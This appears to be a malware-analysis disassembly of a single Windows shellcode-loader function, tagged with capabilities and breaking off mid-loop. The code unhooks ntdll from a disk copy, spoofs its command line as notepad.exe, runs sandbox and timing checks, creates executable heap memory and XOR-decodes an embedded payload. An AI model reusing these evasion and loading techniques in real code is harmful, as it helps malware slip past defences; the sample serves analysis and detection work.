Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x958
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x8c0], xmm6
mov dword [rbp + 0x900], ecx
mov qword [rbp + 0x908], rdx
call fcn.140002d20
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x850], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x848], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x840], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8b8], rax
cmp qword [rbp + 0x8b8], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8b8], rax
cmp qword [rbp + 0x8b8], 0
je 0x140001af8
mov dword [rbp + 0x8b4], 0xffffffff
mov ecx, 0x1bb8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x838], rax
add dword [rbp + 0x8b4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x8b4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x838]
add rax, rdx
movsd xmm1, qword [0x140006628]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x8b4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x838]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x8b4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x838]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x8b4], 0x375
jle 0x14000155d
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x690]
mov rax, qword [rbp + 0x840]
mov r10, qword [rbp + 0x8b8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x690]
mov qword [rbp + 0x830], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x828], rax
mov rax, qword [rbp + 0x828]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x820], rax
mov rax, qword [rbp + 0x820]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x818], rax
mov rax, qword [rbp + 0x830]
mov qword [rbp + 0x810], rax
mov rax, qword [rbp + 0x810]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x830]
add rax, rdx
mov qword [rbp + 0x808], rax
mov word [rbp + 0x8b2], 0
jmp 0x140001ae0
mov rax, qword [rbp + 0x808]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x808]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x8b2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x800], rax
mov dword [rbp + 0x8a4], 0
mov dword [rbp + 0x7fc], 0x6f
mov dword [rbp + 0x7f8], 0x37
mov eax, dword [rbp + 0x7fc]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7f0], rax
mov dword [rbp + 0x8ac], 0
jmp 0x1400017cf
mov eax, dword [rbp + 0x8ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f0]
add rdx, rax
mov eax, dword [rbp + 0x8ac]
mov dword [rdx], eax
add dword [rbp + 0x8ac], 1
mov eax, dword [rbp + 0x8ac]
cmp eax, dword [rbp + 0x7f8]
jl 0x1400017a6
mov dword [rbp + 0x8ac], 1
jmp 0x140001861
mov eax, dword [rbp + 0x8ac]
mov dword [rbp + 0x8a8], eax
jmp 0x140001838
mov edx, dword [rbp + 0x8ac]
mov eax, dword [rbp + 0x8a8]
add edx, eax
mov eax, dword [rbp + 0x8ac]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x8a8]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x8a8], 1
mov eax, dword [rbp + 0x7f8]
sub eax, dword [rbp + 0x8ac]
mov edx, dword [rbp + 0x8ac]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x8a8], eax
jle 0x1400017f7
add dword [rbp + 0x8ac], 1
mov eax, dword [rbp + 0x8ac]
cmp eax, dword [rbp + 0x7f8]
jl 0x1400017e9
cmp dword [rbp + 0x7fc], 2
jle 0x1400018a5
mov eax, dword [rbp + 0x8a4]
lea edx, [rax + 1]
mov dword [rbp + 0x8a4], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x8ac], 1
jmp 0x140001909
mov eax, dword [rbp + 0x8ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001902
mov eax, dword [rbp + 0x8ac]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x8a4]
lea edx, [rax + 1]
mov dword [rbp + 0x8a4], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x8ac], 1
mov eax, dword [rbp + 0x8ac]
cmp eax, dword [rbp + 0x7f8]
jl 0x1400018b1
mov dword [rbp + 0x7ec], 2
mov dword [rbp + 0x8a0], 0
mov dword [rbp + 0x8ac], 0
jmp 0x140001965
mov eax, dword [rbp + 0x8ac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x14000195e
add dword [rbp + 0x8a0], 1
add dword [rbp + 0x8ac], 1
mov eax, dword [rbp + 0x8ac]
cmp eax, dword [rbp + 0x7ec]
jl 0x140001937
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x800]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001acf
mov dword [rbp + 0x658], 0
mov rax, qword [rbp + 0x800]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x800]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x830]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x658]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x89c], 0
jmp 0x140001a3a
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006628]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003e70
movq rax, xmm0
mov qword [rbp + 0x7e0], rax
add dword [rbp + 0x89c], 1
cmp dword [rbp + 0x89c], 0x191
jle 0x1400019f4
mov rax, qword [rbp + 0x800]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x800]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x818]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x800]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x830]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x658]
mov rax, qword [rbp + 0x800]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x800]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x830]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x658]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x8b2]
add eax, 1
mov word [rbp + 0x8b2], ax
mov rax, qword [rbp + 0x808]
movzx eax, word [rax + 6]
cmp word [rbp + 0x8b2], ax
jb 0x140001722
mov ecx, 0x1868
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d8], rax
mov ecx, 0x1868
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d0], rax
mov ecx, 0x1868
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c8], rax
mov dword [rbp + 0x898], 0
jmp 0x140001c0e
mov dword [rbp + 0x894], 0
jmp 0x140001bfa
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x898]
cdqe
imul rcx, rax, 0x11c
mov rax, qword [rbp + 0x7d8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x894]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x898]
cdqe
imul rcx, rax, 0x11c
mov rax, qword [rbp + 0x7d0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x894]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x894], 1
cmp dword [rbp + 0x894], 0x46
jle 0x140001b49
add dword [rbp + 0x898], 1
cmp dword [rbp + 0x898], 0x15
jle 0x140001b3a
mov dword [rbp + 0x898], 0
jmp 0x140001cc7
mov dword [rbp + 0x894], 0
jmp 0x140001cb3
mov eax, dword [rbp + 0x898]
cdqe
imul rdx, rax, 0x11c
mov rax, qword [rbp + 0x7d8]
add rdx, rax
mov eax, dword [rbp + 0x894]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x898]
cdqe
imul rdx, rax, 0x11c
mov rax, qword [rbp + 0x7d0]
add rdx, rax
mov eax, dword [rbp + 0x894]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x898]
cdqe
imul rdx, rax, 0x11c
mov rax, qword [rbp + 0x7c8]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x894]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x894], 1
cmp dword [rbp + 0x894], 0x46
jle 0x140001c36
add dword [rbp + 0x898], 1
cmp dword [rbp + 0x898], 0x15
jle 0x140001c2a
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x908
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c0], rax
mov dword [rbp + 0x88c], 0
mov dword [rbp + 0x888], 0
mov dword [rbp + 0x890], 0
jmp 0x140001dd8
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x890]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7c0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x890]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140001da7
add dword [rbp + 0x88c], 1
jmp 0x140001dd1
mov eax, dword [rbp + 0x890]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140001dd1
add dword [rbp + 0x888], 1
add dword [rbp + 0x890], 1
cmp dword [rbp + 0x890], 0x241
jle 0x140001d35
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x65c], 0
mov rax, qword [rbp + 0x850]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x660]
lea rax, [rbp + 0x65c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7b8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x668]
add rax, 0x3c
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x7b0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov ecx, 0
call rax
mov dword [rbp + 0x7a4], eax
cmp dword [rbp + 0x7a4], 0xffffffff
je 0x140002c4d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
mov ecx, 0
call rax
mov dword [rbp + 0x794], eax
cmp dword [rbp + 0x794], 0xffffffff
je 0x140002c4d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
call rax
mov dword [rbp + 0x784], eax
mov ecx, 0x278
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x788]
call rax
mov dword [rbp + 0x780], eax
mov eax, dword [rbp + 0x780]
sub eax, dword [rbp + 0x784]
cmp eax, 0x246
jbe 0x140002c4d
mov qword [rbp + 0x778], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x17ba680
mov ecx, 0
call rax
mov qword [rbp + 0x778], rax
cmp qword [rbp + 0x778], 0
je 0x140002c4d
mov rax, qword [rbp + 0x778]
mov edx, 0x17ba680
mov rcx, rax
call fcn.140004db0
mov rax, qword [rbp + 0x778]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x768], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x479ee80
mov ecx, 0
call rax
mov qword [rbp + 0x768], rax
cmp qword [rbp + 0x768], 0
je 0x140002c4d
mov rax, qword [rbp + 0x768]
mov edx, 0x479ee80
mov rcx, rax
call fcn.140004db0
mov rax, qword [rbp + 0x768]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
mov ecx, 0
call rax
mov dword [rbp + 0x754], eax
cmp dword [rbp + 0x754], 0xffffffff
je 0x140002c4d
mov ecx, 0x45a
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x45a
jne 0x140002c4d
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
jne 0x140002c4d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x734], eax
mov ecx, 0x2e2
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x730], eax
mov eax, dword [rbp + 0x730]
sub eax, dword [rbp + 0x734]
cmp eax, 0x2b0
jbe 0x140002c4d
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x728], rax
cmp qword [rbp + 0x728], 0
je 0x140002c4d
mov rax, qword [rbp + 0x728]
mov edx, 0x5f3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x724], eax
lea rax, [rbp + 0x150]
lea rdx, [0x140006120]
mov ecx, 0xa1
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov ecx, 0xedc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x884], 0
jmp 0x140002353
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x884]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x884], 1
cmp dword [rbp + 0x884], 0x3b6
jle 0x1400022ca
mov dword [rbp + 0x884], 0
jmp 0x14000247f
mov dword [rbp + 0x6b8], 0
jmp 0x140002461
mov eax, dword [rbp + 0x884]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x6b8]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x14000245a
mov eax, dword [rbp + 0x6b8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x6b4], xmm0
mov eax, dword [rbp + 0x884]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rdx, rax
mov eax, dword [rbp + 0x6b8]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x6b8]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x718]
add rax, rdx
movss xmm0, dword [rbp + 0x6b4]
movss dword [rax], xmm0
add dword [rbp + 0x884], 1
mov eax, 0x3b6
sub eax, dword [rbp + 0x884]
cmp dword [rbp + 0x6b8], eax
jl 0x140002381
add dword [rbp + 0x884], 1
cmp dword [rbp + 0x884], 0x3b6
jle 0x140002372
mov rax, qword [rbp + 0x718]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x848]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x848]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x710]
mov r8d, 0
mov edx, 0x507
mov ecx, 0x40000
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
mov r9, qword [rbp + 0x708]
mov r8d, 0x507
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x850]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
lea rdx, [rbp + 0x150]
mov rax, qword [rbp + 0x6f8]
mov r9, qword [rbp + 0x6f0]
mov r8d, 0x507
mov rcx, rax
call r9
mov dword [rbp + 0x880], 0
mov dword [rbp + 0x87c], 0
mov dword [rbp + 0x878], 0
mov dword [rbp + 0x874], 0xffffffff
mov ecx, 0x530
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e8], rax
add dword [rbp + 0x874], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
movsd xmm1, qword [0x140006628]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6e8]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004080
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x874], 0xa4
jle 0x1400025a1
movabs rax, 0x826c941668e32cdf
movabs rdx, 0x3099f2c171b5ea9e
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x34d29630a3b7a889
movabs rdx, 0xc6c016609d3fc4af
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x50454c4ebec674f
movabs rdx, 0x7a8b7e12a8ff607
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x481c8a0a02b6143d
movabs rdx, 0xa693587b6f464542
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xf6d50281b8c7a441
movabs rdx, 0xe9f7e232128294f8
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0xa2df17928bf9d539
movabs rdx, 0xa237ff45b3c52e8a
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0x83a663a47595add5
movabs rdx, 0xe9c0040bf97f369c
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0x8d6e8692df435fb5
movabs rdx, 0x4d42931fb0ce1fbd
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rdx
mov byte [rbp + 0x140], 0
movabs rax, 0x7ce9ebe236c2b5c
movabs rdx, 0xc15fa16003131838
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x70244f9aace86f4e
movabs rdx, 0x82d2154bbbd5a318
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xee641557683f0414
movabs rdx, 0x8d2a460904ce15ef
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xeafcbd5ec47f679b
movabs rdx, 0x714be80a2729950
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xa14bcbd61fa4e597
movabs rdx, 0xd255e7f8f28b6c3f
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x49af1552d140458c
movabs rdx, 0x7d60a97ff71e8f9f
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x9a677f35ede4e7b7
movabs rdx, 0xd6aa68c8383382cc
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xa020c28b41d6aa
mov qword [rbp + 0xae], rax
jmp 0x140002994
pxor xmm0, xmm0
movss dword [rbp + 0x86c], xmm0
mov dword [rbp + 0x870], 0
jmp 0x1400028fe
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x870]
movsd xmm0, qword [0x140006630]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x140006638]
movd xmm0, eax
call fcn.140003d10
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x870]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006630]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x86c]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x86c], xmm0
add dword [rbp + 0x870], 1
cmp dword [rbp + 0x870], 0x2f8
jle 0x140002885
movss xmm1, dword [rbp + 0x86c]
movss xmm0, dword [0x14000663c]
mulss xmm0, xmm1
movss dword [rbp + 0x86c], xmm0
mov eax, dword [rbp + 0x880]
cdqe
movzx edx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x87c]
cdqe
movzx eax, byte [rbp + rax + 0xc0]
xor edx, eax
mov eax, dword [rbp + 0x880]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x87c], 0x7f
jne 0x14000296a
mov dword [rbp + 0x87c], 0
jmp 0x14000298d
mov dword [rbp + 0x868], 0x370
jmp 0x14000297d
sub dword [rbp + 0x868], 1
cmp dword [rbp + 0x868], 0
jg 0x140002976
add dword [rbp + 0x87c], 1
add dword [rbp + 0x880], 1
mov eax, dword [rbp + 0x880]
cmp eax, 0x74
jbe 0x14000286d
mov dword [rbp + 0x880], 0
jmp 0x140002a10
mov eax, dword [rbp + 0x880]
